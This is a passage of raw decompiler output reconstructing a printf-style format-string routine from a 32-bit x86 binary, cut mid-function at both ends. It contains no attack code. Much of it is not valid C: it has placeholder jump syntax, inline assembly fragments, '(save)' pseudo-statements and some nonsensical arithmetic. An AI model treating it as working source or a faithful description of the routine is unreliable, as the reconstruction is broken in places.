+ (ecx + ecx * 4) * 2 << 3; esp = esp - edx; Vfffffb54 = esp; edx = Vfffffb2c + esi; if(esp == edx) { Vfffffb58 = ecx + (ecx >> 1); } else { ebx = Vfffffb2c; edi = Vfffffb54; eax = L0805652C(edi, esi, ebx); edx = Vfffffb54 + ebx; if(esi == edx) { edx = Vfffffb58 >> 1; Vfffffb58 = Vfffffb58 + edx; } } } ecx = Vfffffb50; Vfffffb48 = ecx; esi = Vfffffb2c + Vfffffb54; edx = Vfffffc00; Vfffffbb0 = edx; Vfffffb44 = 0; Vfffffbb0 = Vfffffbb0 + 1; *(esi + 64) = -1; *(esi + 24) = 0; *(esi + 28) = 0; *(esi + 32) = 0; *(esi + 36) = 0; *(esi + 40) = 0; *(esi + 44) = 32; edx = Vfffffbb0; eax = *edx & 255; ebx = *L08078FA0; Vfffffb10 = ebx; if(!( *(ebx + eax * 2 + 1) & 8)) { Vfffffb40 = edx; edi = & Vfffffbb0; Vfffffb14 = edi; eax = eax + -48; Vfffffbb0 = Vfffffbb0 + 1; edx = *Vfffffbb0 & 255; if(!( *(ebx + edx * 2 + 1) & 8)) { L0805108c: edx = eax + eax * 8 + eax - 48; Vfffffb20 = edx; ecx = Vfffffb14; edx = *( *ecx) & 255; eax = Vfffffb20 + edx; *ecx = *ecx + 1; edx = *( *ecx) & 255; Vfffffb20 = edx; edx = *L08078FA0; ebx = Vfffffb20; if(*(edx + ebx * 2 + 1) & 8) { goto L0805108c; } } if(eax != 0) { edx = Vfffffbb0; if(*edx == 36) { Vfffffbb0 = Vfffffbb0 + 1; edi = eax - 1; *(esi + 64) = edi; edx = Vfffffbc4; if(edx < eax) { edx = eax; } Vfffffbc4 = edx; goto L080511bb; } } ecx = Vfffffb40; Vfffffbb0 = ecx; goto L080511bb; L08051114: edx = ( *Vfffffbb0 & 255) + -32; Vfffffbb0 = Vfffffbb0 + 1; if(edx <= 16) { goto *(edx * 4 + 0x8051138)[L0805117c, L080511bb, L080511bb, L080511a0, L080511bb, L080511bb, L080511bb, L080511b4, L080511bb, L080511bb, L080511bb, L08051188, L080511bb, L08051194, L080511bb, L080511bb, L080511ac, ]goto ( *(edx * 4 + 0x8051138)); *(esi + 28) = 1; goto L080511bb; *(esi + 36) = 1; goto L080511bb; *(esi + 32) = 1; goto L080511bb; *(esi + 24) = 1; goto L080511bb; *(esi + 44) = 48; goto L080511bb; *(esi + 40) = 1; } } L080511bb: edx = Vfffffbb0; if(*edx == 32 || *edx == 43 || *edx == 45 || *edx == 35 || *edx == 48 || *edx == 39) { goto L08051114; } if(*(esi + 32) != 0) { *(esi + 44) = 32; } *(esi + 60) = -1; *(esi + 4) = 0; edx = Vfffffbb0; if(*edx == 42) { Vfffffbb0 = Vfffffbb0 + 1; ebx = Vfffffbb0; Vfffffb10 = ebx; edx = *ebx & 255; edi = *L08078FA0; Vfffffb20 = edi; if(!( *(edi + edx * 2 + 1) & 8)) { ecx = & Vfffffbb0; Vfffffb14 = ecx; eax = edx - 48; Vfffffbb0 = Vfffffbb0 + 1; edx = *Vfffffbb0 & 255; if(!( *(edi + edx * 2 + 1) & 8)) { L08051270: edx = eax + eax * 8 + eax - 48; Vfffffb20 = edx; ebx = Vfffffb14; edx = *( *ebx) & 255; eax = Vfffffb20 + edx; *ebx = *ebx + 1; edx = *( *ebx) & 255; Vfffffb20 = edx; edx = *L08078FA0; edi = Vfffffb20; if(*(edx + edi * 2 + 1) & 8) { goto L08051270; } } if(eax != 0) { edx = Vfffffbb0; if(*edx == 36) { ecx = eax - 1; *(esi + 60) = ecx; edx = Vfffffbc4; if(edx < eax) { edx = eax; } Vfffffbc4 = edx; Vfffffbb0 = Vfffffbb0 + 1; } } } if(*(esi + 60) < 0) { ebx = Vfffffb48; *(esi + 60) = ebx; ebx = *(esi + 60) + 1; Vfffffb48 = ebx; Vfffffb44 = Vfffffb44 + 1; edi = Vfffffb10; Vfffffbb0 = edi; } } else { edx = *Vfffffbb0 & 255; ecx = *L08078FA0; Vfffffb10 = ecx; if(!( *(ecx + edx * 2 + 1) & 8)) { ebx = & Vfffffbb0; Vfffffb14 = ebx; eax = edx - 48; Vfffffbb0 = Vfffffbb0 + 1; edx = *Vfffffbb0 & 255; if(!( *(ecx + edx * 2 + 1) & 8)) { L08051354: edx = eax + eax * 8 + eax - 48; Vfffffb20 = edx; edi = Vfffffb14; edx = *( *edi) & 255; eax = Vfffffb20 + edx; *edi = *edi + 1; edx = *( *edi) & 255; Vfffffb20 = edx; edx = *L08078FA0; ecx = Vfffffb20; if(*(edx + ecx * 2 + 1) & 8) { goto L08051354; } } *(esi + 4) = eax; } } *(esi + 56) = -1; *esi = -1; edx = Vfffffbb0; if(*edx == 46) { Vfffffbb0 = Vfffffbb0 + 1; edx = Vfffffbb0; if(*edx != 42) { goto L080514bc; } Vfffffbb0 = Vfffffbb0 + 1; ebx = Vfffffbb0; Vfffffb10 = ebx; edx = *ebx & 255; edi = *L08078FA0; Vfffffb20 = edi; if(!( *(edi + edx * 2 + 1) & 8)) { ecx = & Vfffffbb0; Vfffffb14 = ecx; eax = edx - 48; Vfffffbb0 = Vfffffbb0 + 1; edx = *Vfffffbb0 & 255; if(!( *(edi + edx * 2 + 1) & 8)) { L0805141c: edx = eax + eax * 8 + eax - 48; Vfffffb20 = edx; ebx = Vfffffb14; edx = *( *ebx) & 255; eax = Vfffffb20 + edx; *ebx = *ebx + 1; edx = *( *ebx) & 255; Vfffffb20 = edx; edx = *L08078FA0; edi = Vfffffb20; if(*(edx + edi * 2 + 1) & 8) { goto L0805141c; } } if(eax != 0) { edx = Vfffffbb0; if(*edx == 36) { ecx = eax - 1; *(esi + 56) = ecx; edx = Vfffffbc4; if(edx < eax) { edx = eax; } Vfffffbc4 = edx; Vfffffbb0 = Vfffffbb0 + 1; } } } if(*(esi + 56) < 0) { ebx = Vfffffb48; *(esi + 56) = ebx; ebx = *(esi + 56) + 1; Vfffffb48 = ebx; Vfffffb44 = Vfffffb44 + 1; edi = Vfffffb10; Vfffffbb0 = edi; goto L0805154a; L080514bc: edx = *Vfffffbb0 & 255; ecx = *L08078FA0; Vfffffb10 = ecx; if(!( *(ecx + edx * 2 + 1) & 8)) { Vfffffb14 = & Vfffffbb0; eax = edx - 48; Vfffffbb0 = Vfffffbb0 + 1; edx = *Vfffffbb0 & 255; if(!( *(ecx + edx * 2 + 1) & 8)) { L08051500: edx = eax + eax * 8 + eax - 48; Vfffffb20 = edx; edi = Vfffffb14; edx = *( *edi) & 255; eax = Vfffffb20 + edx; *edi = *edi + 1; edx = *( *edi) & 255; Vfffffb20 = edx; edx = *L08078FA0; if(*(edx + Vfffffb20 * 2 + 1) & 8) { goto L08051500; } } *esi = eax; } else { *esi = 0; } } } L0805154a: *(esi + 12) = 0; *(esi + 16) = 0; *(esi + 20) = 0; goto L08051653; L08051564: edx = ( *Vfffffbb0 & 255) + -76; Vfffffbb0 = Vfffffbb0 + 1; if(edx <= 37) { goto *(edx * 4 + 0x8051588)[L0805164c, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L0805163c, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051620, L08051653, L08051653, L08051653, L0805162c, L08051653...]goto ( *(edx * 4 + 0x8051588)); *(esi + 16) = 1; goto L08051653; if(*(esi + 20) == 0) { *(esi + 20) = 1; goto L08051653; *(esi + 12) = 0; *(esi + 20) = 0; } else { *(esi + 12) = 1; } } L08051653: edx = Vfffffbb0; if(*edx == 104 || *edx == 108 || *edx == 76 || *edx == 90 || *edx == 113) { goto L08051564; } edx = Vfffffbb0; *(esi + 8) = *edx; Vfffffbb0 = Vfffffbb0 + 1; eax = *(esi + 8) & 255; if(*(eax * 4 + 0x807e78c) != 0) { edx = esi + 68; edx = *(eax * 4 + 0x807e78c); *edx(esi, 1, edx); *(esi + 72) = eax; } else { *(esi + 72) = 1; edx = ( *(esi + 8) & 255) + -69; if(edx <= 51) { goto *(edx * 4 + 0x80516e0)[L080517f0, L0805183c, L080517f0, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L080517b0, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805180c, L080517b0, L080517f0, L080517f0...]goto ( *(edx * 4 + 0x80516e0)); if(*(esi + 12) == 0) { goto L080517c4; } *(esi + 68) = 256; goto L08051843; if(*(esi + 20) != 0) { *(esi + 68) = 512; } else { if(*(esi + 16) != 0) { *(esi + 68) = 1024; } else { *(esi + 68) = 0; goto L08051843; if(*(esi + 12) != 0) { *(esi + 68) = 261; } else { *(esi + 68) = 5; goto L08051843; *(esi + 68) = 1; goto L08051843; *(esi + 68) = 2; goto L08051843; *(esi + 68) = 3; goto L08051843; *(esi + 68) = 2048; } } } } else { *(esi + 72) = 0; } } L08051843: if(*(esi + 64) == -1 && *(esi + 72) != 0) { *(esi + 64) = Vfffffb48; Vfffffb44 = Vfffffb44 + *(esi + 72); } if(*(esi + 8) == 0) { edx = Vfffffbb0 - 1; *(esi + 52) = edx; *(esi + 48) = *(esi + 52); } else { edx = Vfffffbb0; *(esi + 48) = edx; Vfffffb10 = edx; if(*Vfffffb10 != 0) { L0805188c: ecx = Vfffffb10; if(*ecx != 37) { if(*ecx < 0) { eax = L0805602C(0, ecx, 1); if(eax > 0) { goto L080518b8; } } Vfffffb10 = Vfffffb10 + 1; goto L080518be; L080518b8: Vfffffb10 = Vfffffb10 + eax; L080518be: if(*Vfffffb10 != 0) { goto L0805188c; } } } *(esi + 52) = Vfffffb10; } Vfffffb50 = Vfffffb50 + Vfffffb44; ebx = Vfffffb2c; edx = *(Vfffffb54 + ebx + 52); Vfffffc00 = edx; Vfffffb2c = ebx + 88; Vfffffb5c = Vfffffb5c + 1; if(*Vfffffc00 != 0) { goto L08050f64; } } edx = Vfffffbc4; eax = Vfffffb50; if(eax < edx) { eax = edx; } Vfffffb50 = eax; edx = eax * 4; Vfffffb20 = edx; esp = esp - edx; esi = esp; eax = L08057764(esi, 0, edx); esp = esp - (Vfffffb50 + Vfffffb50 * 2 << 2); Vfffffb4c = esp; if(Vfffffb5c != 0) { Vfffffb10 = Vfffffb54; Vfffffb14 = 0; L08051978: edi = Vfffffb14; ecx = Vfffffb54; if(*(ecx + edi + 60) != -1) { *(esi + *(ecx + edi + 60) * 4) = 0; } ebx = Vfffffb14; edi = Vfffffb54; if(*(edi + ebx + 56) != -1) { *(esi + *(edi + ebx + 56) * 4) = 0; } ecx = Vfffffb14; ebx = Vfffffb54; edx = *(ebx + ecx + 72); if(edx != 0) { if(edx == 1) { edi = *(ebx + ecx + 64); *(esi + edi * 4) = *(ebx + ecx + 68); } else { ebx = Vfffffb54; Vfffffb20 = *(ebx + Vfffffb14 + 8) & 255; eax = *( *(Vfffffb20 * 4 + 0x807e78c))(Vfffffb10, *(ebx + Vfffffb14 + 72), *(ebx + Vfffffb14 + 64) * 4 + esi); } } Vfffffb10 = Vfffffb10 + 88; Vfffffb14 = Vfffffb14 + 88; ecx = Vfffffb5c; if(Vfffffb14 != ecx + (ecx + ecx * 4) * 2 << 3) { goto L08051978; } } Vfffffb10 = 0; A10 = Vfffffb98; if(Vfffffb10 < Vfffffb50) { eax = Vfffffb4c; L08051a80: edx = *esi; if(edx != 4) { > ? L08051abc : ; if(edx != 1) { > ? L08051aa4 : ; if(edx == 0) { goto L08051b78; } goto L08051b98; if(edx == 2) { goto L08051b78; } if(edx == 3) { goto L08051b88; } goto L08051b98; if(edx == 261) { goto L08051b5c; } > ? L08051adc : ; if(edx == 5) { goto L08051b48; } if(edx == 256) { goto L08051b20; } goto L08051b98; if(edx == 512) { goto L08051b88; } if(edx == 1024) { goto L08051b0c; } goto L08051b98; } A10 = A10 + 4; *eax = *(A10 - 4); goto L08051bc0; L08051b0c: A10 = A10 + 4; *eax = *(A10 - 4); goto L08051bc0; L08051b20: A10 = A10 + 8; ebx = A10; *eax = *(ebx - 8); *(eax + 4) = *(ebx - 4); } else { A10 = A10 + 8; *eax = *(A10 - 8); goto L08051bc0; L08051b48: A10 = A10 + 8; ecx = A10; *eax = *(ecx - 8); *(eax + 4) = *(ecx - 4); goto L08051bc0; L08051b5c: A10 = A10 + 12; ebx = A10; *eax = *(ebx - 12); *(eax + 4) = *(ebx - 8); *(eax + 8) = *(ebx - 4); goto L08051bc0; L08051b78: A10 = A10 + 4; *eax = *(A10 - 4); goto L08051bc0; L08051b88: A10 = A10 + 4; *eax = *(A10 - 4); goto L08051bc0; L08051b98: if(!( *(esi + 1) & 8)) { A10 = A10 + 4; *eax = *(A10 - 4); } else { *eax = 0; *(eax + 4) = 0; *(eax + 8) = 0; } } L08051bc0: eax = eax + 12; esi = esi + 4; Vfffffb10 = Vfffffb10 + 1; if(Vfffffb10 < Vfffffb50) { goto L08051a80; } } if(Vfffffba0 < Vfffffb5c) { Vfffffb30 = Vfffffba0 + (Vfffffba0 + Vfffffba0 * 4) * 2 << 3; L08051c08: edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi + 60) != -1) { edx = *(ecx + edi + 60) + *(ecx + edi + 60) * 2; edx = *(Vfffffb4c + edx * 4); *(ecx + edi + 4) = edx; if(edx < 0) { *(ecx + edi + 4) = ~edx; *(ecx + edi + 32) = 1; } } edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi + 56) != -1) { edx = *(ecx + edi + 56) + *(ecx + edi + 56) * 2; edx = *(Vfffffb4c + edx * 4); *(ecx + edi) = edx; if(*(ecx + edi) < 0) { *(ecx + edi) = -1; } } edx = ( *(Vfffffb54 + Vfffffb30 + 8) & 255) + -37; if(edx <= 83) { goto *(edx * 4 + 0x8051c98)[L08051de8, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L08052480, L0805287c...]goto ( *(edx * 4 + 0x8051c98)); ebx = A8; if(*(ebx + 24) <= *(ebx + 20)) { if(L08061910(ebx, 37) == -1) { goto L08050e72; } } else { edi = A8; *( *(edi + 20)) = 37; *(edi + 20) = *(edi + 20) + 1; } Vfffffb9c = Vfffffb9c + 1; goto L08052933; Vfffffb10 = 10; ecx = Vfffffb30; ebx = Vfffffb54; if(*(ebx + ecx + 12) != 0) { edx = *(ebx + ecx + 64) + *(ebx + ecx + 64) * 2; edi = Vfffffb4c; Vfffffb14 = *(edi + edx * 4); Vfffffb18 = *(edi + edx * 4 + 4); Vfffffb34 = 0; if(Vfffffb18 < 0) { Vfffffb34 = Vfffffb34 + 1; } 0; 0; if(Vfffffb34 != 0) { Vfffffb14 = ~Vfffffb14; asm("adc dword [ebp+0xfffffb18],+0x0"); Vfffffb18 = ~Vfffffb18; } Vfffffb38 = Vfffffb14; Vfffffb3c = Vfffffb18; goto L08051fb3; } ecx = Vfffffb30; ebx = Vfffffb54; if(*(ebx + ecx + 20) == 0) { ecx = Vfffffb30; ebx = Vfffffb54; if(*(ebx + ecx + 16) != 0) { goto L08051f08; } } edx = *(Vfffffb4c + edx * 4); goto L08051f25; L08051f08: edx = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4); L08051f25: Vfffffb34 = edx >> 31; if(!(edx = *(ebx + ecx + 64) + *(ebx + ecx + 64) * 2)) { edx = ~edx; goto L080520f5; Vfffffb10 = 10; goto L08051f62; Vfffffb10 = 8; goto L08051f62; Vfffffb10 = 16; L08051f62: Vfffffb34 = 0; ebx = Vfffffb30; edi = Vfffffb54; *(edi + ebx + 36) = 0; *(edi + ebx + 28) = 0; if(*(edi + ebx + 12) != 0) { edx = *(edi + ebx + 64) + *(edi + ebx + 64) * 2; ecx = Vfffffb4c; Vfffffb38 = *(ecx + edx * 4); Vfffffb3c = *(ecx + edx * 4 + 4); L08051fb3: edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi) < 0) { *(ecx + edi) = 1; } else { *(Vfffffb54 + Vfffffb30 + 44) = 32; } if(*(Vfffffb54 + Vfffffb30) == 0 && Vfffffb38 == 0 && Vfffffb3c == 0) { esi = & Vffffffff; } else { edi = Vfffffb30; eax = L08062714(Vfffffb38, Vfffffb3c, ebp, Vfffffb10, 0); esi = eax - 1; if(*(Vfffffb54 + edi + 40) != 0 && Vfffffba8 != 0) { eax = L08052C9C(esi, & Vffffffff, Vfffffba8, Vfffffc08); esi = eax; } } edx = 0; if(Vfffffb38 != 0 || Vfffffb3c != 0) { edx = 1; } Vfffffb38 = edx; goto L08052242; } edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi + 20) == 0) { edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi + 16) != 0) { goto L080520d8; } } edx = *(ecx + edi + 64) + *(ecx + edi + 64) * 2; edx = *(Vfffffb4c + edx * 4); goto L080520f5; L080520d8: edx = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4) & 65535; } L080520f5: Vfffffb38 = edx; L080520fb: edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi) < 0) { *(ecx + edi) = 1; } else { *(Vfffffb54 + Vfffffb30 + 44) = 32; } if(*(Vfffffb54 + Vfffffb30) == 0) { if(Vfffffb38 != 0) { goto L0805214c; } esi = & Vffffffff; } else { L0805214c: eax = Vfffffb38; edx = ebp; Vfffffb14 = "0123456789abcdefghijklmnopqrstuvwxyz"; if(*(Vfffffb54 + Vfffffb30 + 8) == 88) { Vfffffb14 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } esi = edx; if(Vfffffb10 != 10) { > ? L08052198 : ; if(Vfffffb10 == 8) { goto L080521d8; } goto L080521f0; if(Vfffffb10 == 16) { goto L080521c0; } } else { L080521a4: esi = esi - 1; edx = 0; *esi = *(10 / 10 % 10 / 10 + Vfffffb14); if(eax != 0) { goto L080521a4; } goto L08052208; L080521c0: esi = esi - 1; *esi = *(edx + Vfffffb14); eax = eax >> 4; if(edx = eax & 15) { goto L080521c0; } goto L08052208; L080521d8: esi = esi - 1; *esi = *(edx + Vfffffb14); eax = eax >> 3; if(edx = eax & 7) { goto L080521d8; } goto L08052208; } L080521f0: esi = esi - 1; edx = 0; Vfffffb10 = Vfffffb10 / Vfffffb10; *esi = *(Vfffffb10 % Vfffffb10 + Vfffffb14); if(eax != 0) { goto L080521f0; } L08052208: esi = esi - 1; if(*(Vfffffb54 + Vfffffb30 + 40) != 0 && Vfffffba8 != 0) { eax = L08052C9C(esi, & Vffffffff, Vfffffba8, Vfffffc08); esi = eax; } } L08052242: edx = !esi + ebp; ecx = Vfffffb30; ebx = Vfffffb54; *(ebx + ecx + 4) = *(ebx + ecx + 4) - edx; edx = *(ebx + ecx) - edx; *(ebx + ecx) = edx; if(Vfffffb38 != 0 && *(ebx + ecx + 24) != 0 && Vfffffb10 == 8 && edx <= 0) { *esi = 48; esi = esi - 1; *(ebx + ecx + 4) = *(ebx + ecx + 4) - 1; } if(*(Vfffffb54 + Vfffffb30) > 0) { ecx = Vfffffb30; ebx = Vfffffb54; *(ebx + ecx + 4) = *(ebx + ecx + 4) - *(ebx + ecx); edx = *(ebx + ecx); *(ebx + ecx) = *(ebx + ecx) - 1; if(edx > 0) { eax = Vfffffb30; L080522bc: *esi = 48; esi = esi - 1; ecx = Vfffffb54; edx = *(ecx + eax); *(ecx + eax) = *(ecx + eax) - 1; if(edx > 0) { goto L080522bc; } } } if(Vfffffb38 != 0) { ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 24) != 0 && Vfffffb10 == 16) { *(edi + ebx + 4) = *(edi + ebx + 4) + -2; } } if(Vfffffb34 == 0) { ecx = Vfffffb30; ebx = Vfffffb54; if(*(ebx + ecx + 36) == 0 && *(ebx + ecx + 28) == 0) { goto L0805232d; } } *(Vfffffb54 + Vfffffb30 + 4) = *(Vfffffb54 + Vfffffb30 + 4) - 1; L0805232d: ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 32) == 0 && *(edi + ebx + 44) == 48) { edx = *(edi + ebx + 4); *(edi + ebx + 4) = *(edi + ebx + 4) - 1; if(edx > 0) { eax = Vfffffb30; L0805235c: *esi = 48; esi = esi - 1; ecx = Vfffffb54; edx = *(ecx + eax + 4); *(ecx + eax + 4) = *(ecx + eax + 4) - 1; if(edx > 0) { goto L0805235c; } } } if(Vfffffb38 != 0) { ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 24) != 0 && Vfffffb10 == 16) { *esi = *(edi + ebx + 8); esi = esi - 1; *esi = 48; esi = esi - 1; } } if(Vfffffb34 != 0) { *esi = 45; } else { if(*(Vfffffb54 + Vfffffb30 + 36) != 0) { *esi = 43; } else { if(*(Vfffffb54 + Vfffffb30 + 28) == 0) { goto L080523df; } *esi = 32; } } esi = esi - 1; L080523df: ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 32) == 0 && *(edi + ebx + 44) == 32) { edx = *(edi + ebx + 4); *(edi + ebx + 4) = *(edi + ebx + 4) - 1; if(edx > 0) { eax = Vfffffb30; L0805240c: *esi = 32; esi = esi - 1; ecx = Vfffffb54; edx = *(ecx + eax + 4); *(ecx + eax + 4) = *(ecx + eax + 4) - 1; if(edx > 0) { goto L0805240c; } } } edi = !esi + ebp; eax = *( *( *(A8 + 80) + 52))(A8, esi + 1, edi); if(eax != edi) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 32) == 0 || *(edi + ebx + 4) <= 0) { goto L08052933; } (save) *(edi + ebx + 4); (save)32; (save)A8; goto L08052702; eax = 0x8053310; goto L080528af; ebx = Vfffffb30; edi = Vfffffb54; *(edi + ebx + 4) = *(edi + ebx + 4) - 1; if(*(edi + ebx + 32) == 0 && *(edi + ebx + 4) > 0) { Vfffffb9c = Vfffffb9c + L08062534(A8, 32, *(edi + ebx + 4)); } eax = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4) & 255; ebx = A8; if(*(ebx + 24) <= *(ebx + 20)) { if(L08061910(ebx, al & 255) == -1) { goto L08050e72; } } else { edi = A8; Vfffffb20 = al; *( *(edi + 20)) = al; *(edi + 20) = *(edi + 20) + 1; if((Vfffffb20 & 255) == -1) { goto L08050e72; } } Vfffffb9c = Vfffffb9c + 1; ecx = Vfffffb30; ebx = Vfffffb54; if(*(ebx + ecx + 32) == 0 || *(ebx + ecx + 4) <= 0) { goto L08052933; } (save) *(ebx + ecx + 4); (save)32; (save)A8; goto L08052702; esi = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4); L0805257c: if(esi == 0) { ecx = Vfffffb30; ebx = Vfffffb54; if(*(ebx + ecx) == -1 || *(ebx + ecx) > 5) { esi = "(null)"; Vfffffb10 = 6; } else { esi = 0x8067eeb; Vfffffb10 = 0; } } else { edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi) != -1) { eax = L080575C0(esi, 0, *(ecx + edi)); Vfffffb10 = eax != 0 ? eax - esi : *(Vfffffb54 + Vfffffb30); } else { al = 0; Vfffffb10 = esi; edi = esi; asm("cld"); ecx = -1; asm("repne scasb"); Vfffffb10 = !ecx - 1; if(*(Vfffffb54 + Vfffffb30 + 4) == 0) { edi = A8; edx = *(edi + 80); if(Vfffffb10 != *( *(edx + 52))(edi, esi, Vfffffb10)) { goto L08050e72; } Vfffffb9c = Vfffffb9c + Vfffffb10; goto L08052933; } } } edi = Vfffffb30; ecx = Vfffffb54; edx = *(ecx + edi + 4) - Vfffffb10; *(ecx + edi + 4) = edx; if(*(ecx + edi + 32) == 0 && edx > 0) { Vfffffb9c = Vfffffb9c + L08062534(A8, 32, edx); } edi = A8; edx = *(edi + 80); if(Vfffffb10 != *( *(edx + 52))(edi, esi, Vfffffb10)) { goto L08050e72; } Vfffffb9c = Vfffffb9c + Vfffffb10; edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi + 32) == 0 || *(ecx + edi + 4) <= 0) { goto L08052933; } (save) *(ecx + edi + 4); (save)32; (save)A8; L08052702: Vfffffb9c = Vfffffb9c + L08062534(); esp = esp + 12; goto L08052933; edi = Vfffffb30; ecx = Vfffffb54; edx = *(ecx + edi + 64) + *(ecx + edi + 64) * 2; edx = *(Vfffffb4c + edx * 4); if(edx != 0) { Vfffffb10 = 16; Vfffffb38 = edx; Vfffffb34 = 0; *(ecx + edi + 24) = 1; *(ecx + edi + 8) = 120; *(ecx + edi + 40) = 0; goto L080520fb; } esi = "(nil)"; edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi) > 4) { goto L0805257c; } *(ecx + edi) = 5; goto L0805257c; ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 12) != 0) { edx = *(edi + ebx + 64) + *(edi + ebx + 64) * 2; eax = *(Vfffffb4c + edx * 4); *eax = Vfffffb9c; *(eax + 4) = 0; goto L08052933; } ebx = Vfffffb30; edi = Vfffffb54; if(*(edi + ebx + 20) != 0) { edx = *(edi + ebx + 64) + *(edi + ebx + 64) * 2; edx = *(Vfffffb4c + edx * 4); *edx = Vfffffb9c; goto L08052933; } edi = Vfffffb30; ecx = Vfffffb54; if(*(ecx + edi + 16) == 0) { edx = *(ecx + edi + 64) + *(ecx + edi + 64) * 2; edx = *(Vfffffb4c + edx * 4); *edx = Vfffffb9c; goto L08052933; } *( *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4)) = Vfffffb9c; goto L08052933; esi = L08056E14( *L08078B14, & Vfffffc18, 1000); goto L0805257c; } eax = *L0807888C != 0 ? *( *L0807888C + ( *(Vfffffb54 + Vfffffb30 + 8) & 255) * 4) : 0; if(eax == 0) { eax = 0x80529cc; } L080528af: ebx = Vfffffb54; esp = esp - *(ebx + Vfffffb30 + 72) * 4; Vfffffb10 = esp; esi = 0; goto L080528fc; L080528d4: edx = esi; ebx = Vfffffb54; edx = edx + *(ebx + Vfffffb30 + 64) + (edx + *(ebx + Vfffffb30 + 64)) * 2; edx = Vfffffb4c + edx * 4; *(Vfffffb10 + esi * 4) = edx; esi = esi + 1; L080528fc: if(*(ebx + Vfffffb30 + 72) > esi) { goto L080528d4; } eax = *eax(A8, Vfffffb54 + Vfffffb30, Vfffffb10); if(eax < 0) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; L08052933: Vfffffb20 = *(A8 + 80); ecx = Vfffffb30; ebx = Vfffffb54; eax = *( *(Vfffffb20 + 52))(A8, *(Vfffffb54 + Vfffffb30 + 48), *(ebx + ecx + 52) - *(ebx + ecx + 48)); ecx = Vfffffb30; ebx = Vfffffb54; if(eax != *(ebx + ecx + 52) - *(ebx + ecx + 48)) { goto L08050e72; } Vfffffb9c = Vfffffb9c + eax; Vfffffb30 = Vfffffb30 + 88; Vfffffba0 = Vfffffba0 + 1; if(Vfffffba0 < Vfffffb5c) { goto L08051c08; } } L080529b8: eax = Vfffffb9c; L080529be: esp = ebp + -1280; } /* Procedure: 0x080529CB - 0x08052C9B * Argument size: 8 * Local size: 1028 * Save regs size: 12 */ L080529CB(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffbfc; /* unknown */ void Vffffffff; edi = 0; if(*(A8 + 24) <= *(A8 + 20)) { if(L08061910(A8, 37) == -1) { goto L08052c84; } } else { *( *(A8 + 20)) = 37; *(A8 + 20) = *(A8 + 20) + 1; } edi = edi + 1; if(*(Ac + 24) != 0) { if(*(A8 + 24) <= *(A8 + 20)) { if(L08061910(A8, 35) == -1) { goto L08052c84; } } else { *( *(A8 + 20)) = 35; *(A8 + 20) = *(A8 + 20) + 1; } edi = edi + 1; } if(*(Ac + 40) != 0) { if(*(A8 + 24) <= *(A8 + 20)) { if(L08061910(A8, 39) == -1) { goto L08052c84; } } else { *( *(A8 + 20)) = 39; *(A8 + 20) = *(A8 + 20) + 1; } edi = edi + 1; } if(*(Ac + 36) != 0) { if(*(A8 + 24) <= *(A8 + 20)) { (save)43; L08052a81: (save)A8; esp = esp + 8; if(L08061910() == -1) { goto L08052c84; } goto L08052ac1; } *( *(A8 + 20)) = 43; } else { if(*(Ac + 28) == 0) { goto L08052ac2; } if(*(A8 + 24) <= *(A8 + 20)) { (save)32; goto L08052a81; } *( *(A8 + 20)) = 32; } *(A8 + 20) = *(A8 + 20) + 1; L08052ac1: edi = edi + 1; L08052ac2: if(*(Ac + 32) != 0) { if(*(A8 + 24) <= *(A8 + 20)) { if(L08061910(A8, 45) == -1) { goto L08052c84; } } else { *( *(A8 + 20)) = 45; *(A8 + 20) = *(A8 + 20) + 1; } edi = edi + 1; } if(*(Ac + 44) == 48) { if(*(A8 + 24) <= *(A8 + 20)) { if(L08061910(A8, 48) == -1) { goto L08052c84; } } else { *( *(A8 + 20)) = 48; *(A8 + 20) = *(A8 + 20) + 1; } edi = edi + 1; } ecx = Ac; if(*(ecx + 4) != 0) { eax = *(ecx + 4); 